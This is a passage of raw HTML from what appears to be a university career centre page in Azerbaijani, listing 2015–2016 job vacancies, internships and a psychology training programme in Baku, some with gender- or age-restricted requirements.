texniki sənədləri tərtib\r\n     edir;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">İnformasiya təhlükəsizliyinin qorunması üçün müvafiq tədbirlər görür;</li>\r\n</ul><br>  <br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><br><p><strong><br></strong></p><p><strong>Xəzər\r\nUniversiteti IT Help Desk vakansiyasına işçi axtarır!</strong>&nbsp;</p><p>- Dil biliyi: azərbaycan, rus (orta), ingilis dili\r\n(orta)&nbsp;<br>\r\n- İT sahəsində ən azı 2-3 il iş təcrübəsi&nbsp;<br>\r\n- Windows Server-də yaranan umumi problemlərin həlli, File server və Active\r\nDirektory ilə işləmək<br>\r\n- Ofis proqamları-MS office (World, Excel, PowerPoint )<br>\r\n- Əməliyyat sistemi: Windows 7, Windows 8, 10 quraşdırılması, yenilənməsi<br>\r\n- Göstərilən əməliyyat sistemlərində yaranmış nasazlıqların monitorinqi və\r\nhəlli&nbsp;<br>\r\n- Printer, Proyektor və sair bu tipli periferiya avadanlıqları ilə iş təcrübəsi<br>\r\n- İşçi yerlərinin yaradılması, dəstəyi və bərpası<br>\r\n- Şəbəkə, WiFi, LAN və sair qoşulma vasitələrinin iş prinsipinin bilməsi<br>\r\n- Müəllim və tələbə heyətinə elektron tədrisdə dəstək<br>\r\n- Məsuliyyət, düzgünlük, dəqiqlik və etibarlılıq kimi müsbət&nbsp;<br>\r\ngöstəricilərə sahib olmaq&nbsp;<br>\r\n- Ünsiyyətqurma və komandada işləmək bacarığı&nbsp;<br>\r\n- Analitik təhlil və operativlik bacarığı<br>\r\n- Əmək haqqı – müsahibə əsasında<br>\r\n- Ancaq oğlan işçilər<br>\r\n- İş qrafiki həftə içi 9:00 –dan 18:00 – a kimi, şənbə - qısa gün<br>\r\n- Bazar, bayram günləri – qeyri iş günüdür&nbsp;.Maraqlananlar başlıq hissəsində \"Help Desk\"\r\nyazaraq öz CV-lərini uhuseynova@khazar.org e-mail adresinə göndərə bilərlər!  <br></p><div><p><strong style=\"font-size:large\"></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><strong style=\"font-size:large\"><br></strong><br><p><strong style=\"font-size:large\">Data\r\nTechnlogies şirkəti olaraq tələbələrə praktika təklif edirik.</strong></p>\r\n<p>&nbsp;</p>\r\n<div><strong style=\"font-size:large\">Marketinq\r\nvə satış üzrə:</strong></div>\r\n<p>-\r\nMarketinq və satış üzrə araşdırma yönümlü olmaq</p>\r\n<p>- İT\r\nsahələri üzrə yeni xidmət / məhsul üçün bazar araşdırmasının aparılması</p>\r\n<p>-\r\nBiznes plan və strategiya yönümlü fəaliyyət planının hazırlanması</p>\r\n<p>- Yeni\r\nmüştərilərin cəlb olunması</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Proqramlaşdırma\r\nüzrə:</strong></p>\r\n<p>-Web\r\nsayt dizayn və proqramlaşdırma</p>\r\n<p>-\r\nPraktika üçün arayış təqdim olunur</p>\r\n<p>-\r\nAylıq 100 azn məvacib (gündəlik xərclər üçün nəzərdə tutulub)</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Müraciət üçün:</strong></p>\r\n<p><a href=\"http://cv.datatech.az/\" target=\"_blank\">http://cv.datatech.az</a></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><p style=\"font-size:large\"><strong>&nbsp;Staj proqramı.</strong></p>\r\n<p style=\"font-size:large\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Doğru\r\nkonsultasiya metodlarını Bizdən öyrənin!!!</strong></p><strong>\r\n</strong><p>Uğur İnkişaf Mərkəzi staj proqramına qəbul elan\r\nedir. Siz bu proqrama qatılmaqla psixoloji konsultasiyanı həm nəzəri həm də praktik\r\ncəhətdən öyrənəcəksiniz! Dərslər həftədə 3\r\ndəfə-2 öyrədici,1 praktik konsultasiya olmaqla keçiriləcək.\r\nDərslər əvvəlcədən müəyyənləşdirilmiş proqram üzrə həm nəzəri həm də praktik nümunələr\r\nüzərində keçiriləcək.Staj 3 ay müddətində olacaq.Sonuncu 1 ay Supervayzerin nəzarəti altında\r\nkonsultasiyalar aparılması nəzərdə tutulur.. 3 ay bitdikdən\r\nsonra keçirilən mövzularla bağlı imtahan götürüləcək. İmtahanı uğurla keçənlərə\r\nsertifikat təqdim olunacaq.<br>\r\nStaj proqraminda &nbsp;iştirak etmək üçün məsuliyyətli\r\nöyrənməyə istəkli işinə ciddi yanaşan Psixologiya ixtisasında təhsil alan\r\ntələbələr,magistratura pilləsində təhsil alan tələbələr və eyni zamanda\r\nPsixologiya ixtisasını bitirmiş Psixoloqlar iştirak edə bilər. Staj proqramına\r\ntələbələr intervyu vasitəsi\r\nilə seçiləcək. Staj proqramı ödənişlidir,tələbələrə endirimlər tətbiq olunacaq.Yer\r\nsayı məhduddur! Layihədə yalnız 10 nəfər iştirak edə biləcək. Bunun üçün&nbsp; iyun ayının&nbsp;\r\n15-nə qədər qeydiyyatdan keçmək lazımdır. <strong></strong></p>\r\n<p>Ünvan : Nərimanov rayonu Ağa Nemətulla 20 Uğur\r\nİnkişaf Mərkəzi </p>\r\n<p>Email:\r\nugurinkisafmerkezig@mail.com</p>\r\n<p>Əlaqə\r\ntelefonları: 0705686822&nbsp; 0554686822 012-</p>\r\n<p>Fcaebook:Uğur&nbsp; İnkişaf\r\nMərkəzi</p>\r\n<p>&nbsp; &nbsp;Staj Proqramı</p>\r\n<p>&nbsp;&nbsp;&nbsp;I mərhələ-Psixoloji konsultasiya</p>\r\n<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;I Fəsil</p>\r\n<p>Psixoloji konsultasiyaya başlamaq</p>\r\n<p>Pasientlə terapevtik münasibətin qurulması\r\nüsulları</p>\r\n<p>-Terapevtik bacarıqlar</p>\r\n<p>-Terapevtik şərtlər(Empatiya,hörmət,şəffavlıq,konkretlik,münasibətdə(ünsiyyətdə)indi\r\nvə burda anlayışı, self-disclosure(psixoloqun pasientlə bölüşə biləcəyi\r\ninformasiyanın sərhədləri),üzləşdirmə)</p>\r\n<p>-Psixoloji konsultasiyaya başlamaq qaydaları </p>\r\n<p>-Psixoloji konsultasiya nümunələri(praktik\r\nolaraq tətbiq etmə)</p>\r\n<p>-Psixoloji konsultasiyanın sonlandırma\r\nqaydası(Terminasiyon)</p>\r\n<p>-Etik qaydalar</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nII Fəsil</p>\r\n<p>-Pasientlərin özlərini kəşf etməyinə kömək\r\nolacaq strategiyalar</p>\r\n<p>-Psixoloqun konsultasiya zamanı yol verdiyi səhvlər</p>\r\n<p>-Krizə müdaxilə bacarıqları</p>\r\n<p>-Psixoloqun özünü tanıması və özü haqqında\r\nbilməli olduğu vacib məqamlar</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; III\r\nFəsil</p>\r\n<p>Psixoloji konsultasiya üsullarının\r\nterapiyaların incələnməsi(praktik yanaşma)</p>\r\n<p>-Humanistik nəzəriyyədə psixoloji\r\nkonsultasiyaya praktik yanaşma</p>\r\n<p>-Bihevaral(Davranışçı) nəzəriyyədə psixoloji\r\nkonsultasiyaya praktik yanaşma</p>\r\n<p>-Cognetiv CBT Sosial öyrənmədə psixoloji\r\nkonsultasiyaya praktik yanaşma </p>\r\n<p>-Geştalt terapiyada&nbsp; psixoloji konsultasiyaya terapevtik yanaşması</p>\r\n<p>-Psixoanalitik və Psixodinamik də psixoloji\r\nkonsultasiyaya praktik yanaşma </p>\r\n<p>-Eksistensializmdə ( Varoluşculuq nəzəriyyəsində) psixoloji\r\nkonsultasiyaya praktik yanaşma</p>\r\n<p>-Qrupla psixoloji konsultasiya-praktik yanaşma</p>\r\n<p>-Ailə-sistem yanaşmasına praktik baxış</p>\r\n<p>-Mentalitetə həssas yanaşan konsultasiya (Etno psixologiya)</p>\r\n<p>-Feminist terapiya</p>\r\n<p>-Qısa müddətli terapiya </p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IV Fəsil</p>\r\n<p>Öz psixoloji konsultasiya tərzinizi yaratmaq haqqında…</p>\r\n<p>&nbsp;Psixoloq:Q.Nərgiz</p>  <br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><h3><span lang=\"AZ-LATIN\" style=\"font-size:large;color:#000000\">Əziz\r\nİştirakçilar</span></h3><p>Kaspi İnvestisiya və inkişaf şirkəti İcraedici pozisiya üçün namizəd axtarişindadir,yenicə bakalavr sahəsini&nbsp; bitirmişlər ve ya hal-hazirda magist pilləsində\r\ntəhsil alan tələbələr hansiki sərbəst ingiliscə ,azərbaycanca ,ve rusca danişiq qabiliyyəti\r\nolan,İdarəetmə\r\nİnsan resurslari ve bunun kimi digər sahə üzrə təcrübəsi olan namizədlər oz CV\r\nlərini bu <a href=\"mailto:enasirov@cidc.az\">enasirov@cidc.az</a> email adrəsine gondərə bilərlər</p>\r\n<p>Kariyera\r\nMərkəzi&nbsp;</p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><br></div><div>&nbsp;<strong style=\"font-size:large\">Əziz Maliyyə ve İdarəetmə mütəxəsissisləri,</strong><br>\r\n<p>Fireworks\r\nHRM Bakıda iyun ayı&nbsp;ərzində 1 aylıq proyekt üçün kassir axtarışındadır .Könüllülük\r\ntəcrübəsi olan ,&nbsp;sosial fəaliyyəti olan tələbələr buyurub baş&nbsp;vura bilər.&nbsp;İş ödənişlidir.</p>\r\n<p>Maraqlanan\r\nşəxslər öz CV lərini Cashier adi altinda bu <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> email adresinə göndərə bilər.</p>\r\n<p>Sağolun,</p>\r\n<p>Kariyera\r\nMərkəzi</p><p><br></p></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><h3><strong style=\"font-size:large;color:#000000\">Xəbərlər&nbsp;</strong></h3><p>1.Əziz Tələbələr</p><p>Kaspi təhsil mərkəzinin vakasiyani izləyin</p><p>Online qeydiyyat</p>\r\n<p>2.Holcim Azərbaycan məzun tələbələr axtarışındadır</p><p>Proqram müddəti 6&nbsp;aydır.</p><p><strong>TƏLƏBLƏR</strong></p><br><ul><li>Azərbaycan ,İngilis,Rus dillərində səlis danışma qabiliyyəti</li><li>İT bacarıqları</li><li>Davranış qaydaları</li><li>Təşkilatçılıq bacarığı</li><li>Məqsədə yönəmli</li><li>Komandada işləmək bacarığı</li><li>Yüksək ünsiyyət qabiliyyəti</li><li>Güclü təhliletmə bacarığı</li><li>Təhsil və Təcrübə</li><li>Ali təhsilli (İT üzrə olanlar üstünlük təşkil edir)</li></ul><br>\r\n<p>Müraciət Forması&nbsp;CV lərinizi bu email addresinə alina.mammadova@lafargeholcim.com göndərin və zəhmət olmasa başlıq hissəsində&nbsp;vakansiyanın adini qeyd etməyi unutmayın</p><p>Müraciət formasının bitmə tarixi May 10, 2016</p>\r\n<p>3.Əziz İT mütəxəssisləri</p><p>UBMG IT Manager axtarışındadır CV-lərinizi info@dbs.az bu email adresinə göndərin</p><p>Əlaqə saxlamaq üçün şəxs : Chinara Heydarzada</p><p>KARİYERA GRUP ÜZVÜ</p>\r\n<p>4.PwC işçi axtarışındadır.</p><p>Maraqlanan şəxslər aşağıda verilən linki izləsinlər</p><p><br></p>  <br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><p style=\"font-size:large\"><br></p><p style=\"font-size:large\"><strong>Vakansiya elanı</strong></p><p>Vakansiyanın adı&nbsp;: Öyrətmə koordinatoru</p><p>Ərazi: Bakı&nbsp;şəhəri,&nbsp;Azərbaycan</p><p><strong>Tələblərimiz</strong></p><p>* Ali Təhsil</p><p>* Dərs keçmə təcrübəsi</p><p>* Ali Təhsil Manager və&nbsp;ya buna oxşar sahələr arzu&nbsp;olunandır.</p><p>* Səlis Azərbaycan İngilis və Rus dilində danışma qabiliyyəti</p><p>* Səlis şəkildə&nbsp;MS office işləmə qabiliyyəti</p><p>* Əla danışıq qabiliyyəti</p><p>* Yaxşı&nbsp;idarəetmə&nbsp;qabiliyyəti</p><p>* Komandada işləmək bacarığı</p>\r\n<p>Əsas bacarıqlar</p><p>DƏRS EVİ kursunda yeni müəllimlərə dərs keçmə bacarığı</p><p>Müəllim vəzifəsinə&nbsp;namizədlərin seçilməsi</p><p>Professional öyrətmə bacarığı</p><p>Müəllimlərin işləmə qaydasına nəzarətin edilməsi</p><p>DƏRS EVİnin in inkişafinda yaxından iştirak etmək</p><p>Müəllimərin müxtəlif activitylərdə&nbsp;iştirakının&nbsp;planlaması</p>\r\n<p>Müraciət forması:&nbsp;Zəhmət olmasa müraciət formasını bu hr@dersevi.az emailinə&nbsp;adresinə göndərəsiniz və nəzərə çatdırımki email göndərərkən mövzunun adını qeyd etməyi unutmayın</p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><strong>TƏLƏBƏLƏRİN DİQQƏTİNƏ!</strong></p><p style=\"font-size:medium\"><strong>&nbsp;</strong><br>Kimya mühəndisliyi, Biotibbi texnologiya mühəndisliyi, menecment, marketinq, biznesin idarə edilməsi, kimya müəllimliyi, biologiya müəllimliyi, psixologiya ixtisasında oxuyan lV, V il tələbələrinin nəzərinə!</p><p style=\"font-size:medium\"><br>“Sağlam ailə” yarım və tam ştatlıq iş üçün vakansiya elan edir.<br>Tələblər:<br>–Sosial aktiv<br>–GPA 80+<br>–İngilis dili- İntermedia (minimum)<br>Maraqlanan namizədlər öz CV-lərini aşağıda göstərilən e-mail-lərə göndərə bilərlər. CV-də niyə məhz sizi seçmələrini qeyd edin (Öz bacarıq və qabiliyətiniz haqqında qısa məlumat yazın)<br>Başlıq hissəsində ixtisasınızı yazmağınız xahiş olunur.&nbsp;<br><a href=\"mailto:hr@saglamaile.az\">hr@saglamaile.az</a>&nbsp;<br><a href=\"mailto:amirzayeva@khazar.org\">amirzayeva@khazar.org</a></p><p style=\"font-size:medium\">Son Qeydiyyat tarixi: 30 noyabr 2015-ci il.</p><p style=\"font-size:medium\"><br></p><hr><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>İngilis dili müəllimi</strong></p><p style=\"font-size:medium\">İş yeri: <strong>Science School</strong></p><p style=\"font-size:medium\">Yerləşdiyi ərazi: Nizami rayonu , Naxçivanski küç. 81&nbsp; (8.km bazarı tərəf)</p><p style=\"font-size:medium\">Elan tarixi: 02.11.2015</p><p style=\"font-size:medium\">İş günləri: I , III , V günlər</p><p style=\"font-size:medium\">İş saatları: 09:00 – 19:00<strong></strong></p><p style=\"font-size:medium\"><strong>Qeyd</strong>: İş qrafiki Dərs Cədvəlinə uyğun dəyişilə bilər</p><p style=\"font-size:medium\"><strong>Vakansiya tələbləri</strong>:</p><ul style=\"font-size:medium\"><li>III və IV kurs tələbələri</li><li> Rus dili biliyi</li><li>İngilis dili biliyi</li></ul><p style=\"font-size:medium\"><strong>Əlaqə</strong>&nbsp;: +99470-302-39-39&nbsp; Günay</p><p style=\"font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +99450-309-16-96&nbsp;&nbsp; Xavər</p><hr><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><em><strong>EXPORT MÜTƏXƏSSİSİ (xanımlar üçün)</strong></em></p><p style=\"font-size:medium\"><em><strong>Tələblər:</strong></em></p><ul style=\"font-size:medium\"><li>Ali təhsilli olmalı (maliyyə, marketing və digər iqtisadi sahələr);</li><li>Yalnız xanım namizədlər müraciət edə bilər;</li><li>23-30 yaş aralığında olmalı;</li><li>Rus dilini - əla və ingilis dilini - yaxşı səviyyədə bilməli;</li><li>MS Office proqramlarını bilməli;</li><li>Ölkə xaricinə ezamiyyətlərə getməkdə problemi olmamalıdır.</li></ul><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>İş haqqında məlumat:</strong></p><ul style=\"font-size:medium\"><li>İxracat prosesini həyata keçirmək üçün müvafiq sənədləşdirmə işlərinin görülməsi;</li><li>Müəssisənin satış strategiyasına uyğun olaraq xarici bazarlarının araşdırılması;&nbsp;</li><li>Xarici şirkətlərlə əlaqələr qurulması, potensial müştərilərin tapılması və lazımi müqavilələrin bağlanılmasının təmin edilməsi;</li><li>Xaricə satılacaq malların (ixrac mallarının), gedəcəyi ölkədəki firmaya vaxtında və istənilən şəkildə çatmasının təmin edilməsi;</li><li>Satış planlamasının həyata keçirilməsi;</li><li>Satış sərgilərində, yeni mal nümunələrinin və modellərinin nümayiş etdirilməsində, alıcı konfranslarında və malların satışının genişləndirilməsinə yönəldilən digər tədbirlərdə iştirak edilməsi.</li></ul><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">Göstərilən tələblərə cavab verən namizədlər öz CV– lərini 31.10.2015 tarixinədək&nbsp;<a href=\"mailto:cv@azersun.com\">cv@azersun.com</a>&nbsp; elektron ünvanına göndərə bilərlər. Mövzu hissəsində vəzifənin adı (“<strong>Export Mütəxəssisi</strong><strong>”</strong>) qeyd olunmalıdır.&nbsp;</p><hr><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><em><strong>Karyera mərkəzində&nbsp;könüllü işləmək istəyən çalışqan və həvəsli 10 nəfər (qız və oğlan) işçi axtarıram!</strong></em></p><p style=\"font-size:medium\">Khazar University Career Center-də 2015-2016 Akademik ilində könüllü işləmək istəyən çalışqan və</p><p style=\"font-size:medium\">həvəsli 10 nəfər (qız və oğlan) işçi axtarıram. Kim istəyir bu ilki tədbirlərdə köməkçi olaraq işləsin, xahiş</p><p style=\"font-size:medium\">olunur mənə yazın və biz Sentyabırın 16-da görüşürük. Sizə bütün işlər öyrədiləcək. İlin sonunda</p><p style=\"font-size:medium\">Sertifikat veriləcək. İstəyən tələbəyə Reference Məktubu da veriləcək. İmtahan vaxtlarında güzəştlər</p><p style=\"font-size:medium\">ediləcək. Könüllülərə ancaq boş vaxtlarında işlər tapşırılacaq. Hər fakültədən, hər ixtisasdan olan</p><p style=\"font-size:medium\">tələbələr müraciət edə bilər. Mənə lazım olacaq, təşkilatçı, köməkçi, sənədlərin hazırlanmasında</p><p style=\"font-size:medium\">köməkçi olanlar, dizayn bacarığı olanlar, ideyası olanlar və ən əsası dəqiq işçilər.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><em><strong>KARYERA MƏRKƏZİNƏ BAŞ VURUN!</strong></em></p><p style=\"font-size:medium\"><em><strong>SON TARİX: 15 Sentyabr&nbsp;</strong></em></p><p style=\"font-size:medium\"><em><strong>İCLAS: 16 Sentyabr</strong></em></p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong><em>Ingilis dilində danışmağı səlis bacaran tələbələr!</em></strong></p><p style=\"font-size:medium\">Xarici qonaqları qarşılamaq , onlarla gəzmək və şəhəri göstərmək üçün tələbələr axtarılır. Ödənişli işdir. İşi təklif edən şirkət sahibi sizinlə Sentyabrda görüşüb işin bütün detallarını danışıb başa salacaqdır. Bu haqda kim maraqlanırsa xahiş olunur mənə ancaq bu statusun altında şərh yazsın. Xeyli tələbələri topladıqdan sonra Sentyabr ayında (15 Sentyabrdan sonra) görüş keçiriləcəkdir. Unutmayın, bu işə saysız tələbələr lazımdır. Şərhlərinizi gözləyirəm.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong><em>Təcili! Mərkəzi Bank İpoteka Fondu işçi axtarır!&nbsp;</em></strong></p><p style=\"font-size:medium\">&nbsp;İqtisadiyyat, kredit, maliyyə, xəzinədar hətta hüquqşünas da axtarılır. Təcili mənimlə əlaqə saxlayın. Xəzərin məzunlarına xüsusi diqqət və istək var! Rus və İngilis dili olması şərtdir. Dərsə mane olmayan və rahat işləyəbiləcək 4cü kurs tələbəsi də mümkündür ki müraciət eləsin. Məzunlar və magistr tələbələri tələsin və yerinizi heçkimə verməyin.</p><p style=\"font-size:medium\"><em><strong>Kaspi Liseyləri aşağıdakı fənlər üzrə müəllim və köməkçi müəllim qəbulunu elan edir.</strong></em></p><p style=\"font-size:medium\">İbtidai sinif (azərbaycan və rus bölməsi); Azərbaycan dili və ədəbiyyatı; İngilis dili; Rus dili; Riyaziyyat; İnformatika; Kimya; Biologiya; Tarix; Coğrafiya; Fizika; Bədən Tərbiyəsi, Hərbi hazırlıq, Musiqi, Rəsm, Texnologiya (azərbaycan və rus bölməsi).</p><p style=\"font-size:medium\">İşə götürən:&nbsp;Kaspi Liseyi</p><p style=\"font-size:medium\">İş yeri:&nbsp;Kaspi Liseyi</p><p style=\"font-size:medium\">Yerləşdiyi ərazi:&nbsp;Bakı şəhəri, Bakıxanov qəsəbəsi və Xətai rayonu (Ağ Şəhər)</p><p style=\"font-size:medium\">Elan tarixi:&nbsp;11 May 2015</p><p style=\"font-size:medium\">Son tarix:&nbsp;31 May 2015</p><p style=\"font-size:medium\">Vakansiya nömrəsi:&nbsp;015</p><p style=\"font-size:medium\"><strong>Vakansiya tələbləri:</strong></p><p style=\"font-size:medium\">Müvafiq sahə üzrə bakalavriatura və ya magistratura dərəcəsi;</p><p style=\"font-size:medium\">Sahə üzrə orta məktəbdə ən azı 3 il iş təcrübəsi;&nbsp;<strong>&nbsp;</strong></p><p style=\"font-size:medium\"><em>Qeyd: Bu tələb yalnız müəllimlərə aiddir. Köməkçi müəllimlərdən iş təcrübəsi tələb olunmur.</em>&nbsp;</p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\">Maraqlananlar veb səhifədə göstərilən ərizə formasını doldurub&nbsp;<a href=\"mailto:info@kaspi.edu.az\"><strong>info@kaspi.edu.az</strong></a>&nbsp;ünvanına göndərə bilərlər. Şəxsi CV-lər qəbul olunmur.</p><p style=\"font-size:medium\">Qeyd: Email-in “subject” bölümündə müraciət etdiyiniz vakansiyanın adını və nömrəsini qeyd etməyiniz tövsiyə olunur.&nbsp; Məsələn, “ Fizika müəllimi – 015 ” vakansiyası.</p><p style=\"font-size:medium\"><strong>Elana verilmiş vakansiya üzrə</strong><strong>&nbsp;</strong><em><strong>yalnız</strong></em><strong>&nbsp;</strong><strong>uyğun namizədlərlə əlaqə saxlanılacaqdır.</strong>&nbsp;</p><p style=\"font-size:medium\"><br><strong></strong></p><hr><p style=\"font-size:medium\"><strong></strong></p><p style=\"font-size:medium\"><strong><em>Kaspi Abituriyent kursları azərbaycan və rus bölmələri daxil olmaqla aşağıdakı fənlər üzrə müəllim və köməkçi müəllim qəbulunu elan edir.</em></strong></p><p style=\"font-size:medium\"><strong><em><br></em></strong></p><p style=\"font-size:medium\">Azərbaycan dili və ədəbiyyatı; Rus Dili və ədəbiyyatı; İngilis dili;&nbsp; Riyaziyyat; Kimya; Biologiya; Tarix; Coğrafiya; Fizika;</p><p style=\"font-size:medium\">İşə götürən:&nbsp;<strong>Kaspi Təhsil Şirkəti</strong></p><p style=\"font-size:medium\">İş yeri:&nbsp;Kaspi Abituriyent</p><p style=\"font-size:medium\">Yerləşdiyi ərazi:&nbsp;Elmlər, Əhmədli, Xətai, Nərimanov, Masazır, Sumqayıt</p><p style=\"font-size:medium\">Elan tarixi:&nbsp;11 May 2015</p><p style=\"font-size:medium\">Son tarix:&nbsp;31 May 2015</p><p style=\"font-size:medium\">Vakansiya nömrəsi:&nbsp;016</p><p style=\"font-size:medium\"><strong>Vakansiya tələbləri:</strong></p><br><ul><li>Müvafiq sahə üzrə bakalavriatura və ya magistratura dərəcəsi;</li><li>Sahə üzrə orta məktəbdə ən azı 3 il iş təcrübəsi, repititorluq təcrübəsi üstünlükdür.</li></ul><br><p style=\"font-size:medium\"><em>Qeyd: Bu tələb yalnız müəllimlərə aiddir. Köməkçi müəllimlərdən iş təcrübəsi tələb olunmur.</em></p><p style=\"font-size:medium\">Maraqlananlar veb səhifədə göstərilən ərizə formasını doldurub&nbsp;<a href=\"mailto:info@kaspi.edu.az\">info@kaspi.edu.az</a>&nbsp;ünvanına göndərə bilərlər. Şəxsi CV-lər qəbul olunmur.</p><p style=\"font-size:medium\">Qeyd: Email-in “subject” bölümündə müraciət etdiyiniz vakansiyanın adını və nömrəsini qeyd etməyiniz tövsiyə olunur.&nbsp; Məsələn, “ Fizika müəllimi – 016 ” vakansiyası.</p><p style=\"font-size:medium\"><strong><strong>Elana verilmiş vakansiya üzrə&nbsp;<em>yalnız</em>&nbsp;uyğun namizədlərlə əlaqə saxlanılacaqdır.</strong><br></strong></p><p style=\"font-size:medium\">&nbsp;</p><hr><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong><em>Əziz tələbələr!</em></strong></p><p style=\"font-size:medium\">Tezliklə açılacaq Mambo Beach Club &amp; Restaurant (C-Groupun tərkibinə daxil olan klub və restorandır)&nbsp;<a href=\"http://on.fb.me/1Q3MvZ5\" target=\"_blank\"><strong>http://on.fb.me/1Q3MvZ5</strong></a>&nbsp;üçün SMM mütəxəssis lazımdır, əmək haqqı intervyuda müəyyən ediləcək təcrübədən asılı olaraq, (minimum +500 AZN)</p><p style=\"font-size:medium\">Görəcəyi iş: restoran haqqında, restoranda olan tədbirlərlə bağlı məlumatların, tədbirin fotoşəkillərinin, mümkün qədər çox sosial media saytlarında yayımlanması. Namizəd mümkün qədər sosial mediada çox vaxt keçirən, tanış əhatəsi geniş olan biri olmalıdır.<br>Sosial mediada restoranla bağlı gələn sualları cavablandırmalı, sosial media hesablarını idarə etməlidir.</p><p style=\"font-size:medium\"><br>Əlaqə məlumatları: Ülviyyə Qəhrəmanlı (Assistant General Manager)<br>Salyan Highway, Shikhov Beach, Baku. AZ1023 Mob: +994 55 455 05 22, email: u.gahramanli@c-group.az website: c-group.az</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Certuspharma</strong>&nbsp;is seeking candidates:</p><p style=\"font-size:medium\">Tələblər:<br>- Cinsi: Kişi&nbsp;<br>-Təhsil: Ali (bakalavr), qiyabi oxuyan tələbələrədə mümkündür&nbsp;<br>-Şəxsi avtomobili ilə&nbsp;<br>-Dil biliyi: Azərbaycan dilini mükəmməl bilmək&nbsp;<br>-Kollektivdə işləmək bacarığı&nbsp;<br>-Müştərilərlə işləmək bacarığı&nbsp;<br>-İşdə dəqiqlik və detallara fikir vermək qabiliyyəti&nbsp;<br>-Analitik düşüncə tərzinə malik olmaq&nbsp;<br>-Ünsiyyətcillik&nbsp;<br>-İşə yaradıcı yanaşmaq və yeni ideyaları stimullaşdıra bilmək&nbsp;<br>-İnandırıcılıq qabiliyyəti&nbsp;<br>- İnkişafa meyilli və öz üzərində işləyən<br>CV-lərinizi aşağıdakı elektron ünvanına göndərməniz xahiş olunur: hr@certuspharma.az</p><p style=\"font-size:medium\">Ərizələri (CV və ya Resumeləri) e-mail ünvanımıza göndərərkən mövzu yerinə “Satış meneceri\" yazmağınız xahiş olunur. Əks təqdirdə müraciətlərə baxılmayacaq. Vakansiyaya uyğun şəxslər müsahibəyə dəvət olunacaqlar.</p><p style=\"font-size:medium\">İş təsviri<br>-Şirkəti təmsil etmək&nbsp;<br>-Məhsulun satışının təşkil olunması&nbsp;<br>-Müştərilərlə danışıqların aparılması&nbsp;<br>-Müştərilərlə sıx əməkdaşlıq&nbsp;<br>-İş qrafiki: 09:00-18:00&nbsp;<br>-İş günləri: I-V&nbsp;<br>-Nahar, benzin xərcləri təmin olunur&nbsp;<br>-Əmək haqqı- 300-400 AZN + bonuslar<br><a href=\"http://ru.boss.az/vacancies/80437\" target=\"_blank\"><strong>http://ru.boss.az/vacancies/80437</strong></a>&nbsp;bu linkdə elan yerləşdirilmişdir.</p><p style=\"font-size:medium\"><br></p><hr><p style=\"font-size:medium\">&nbsp;</p><p 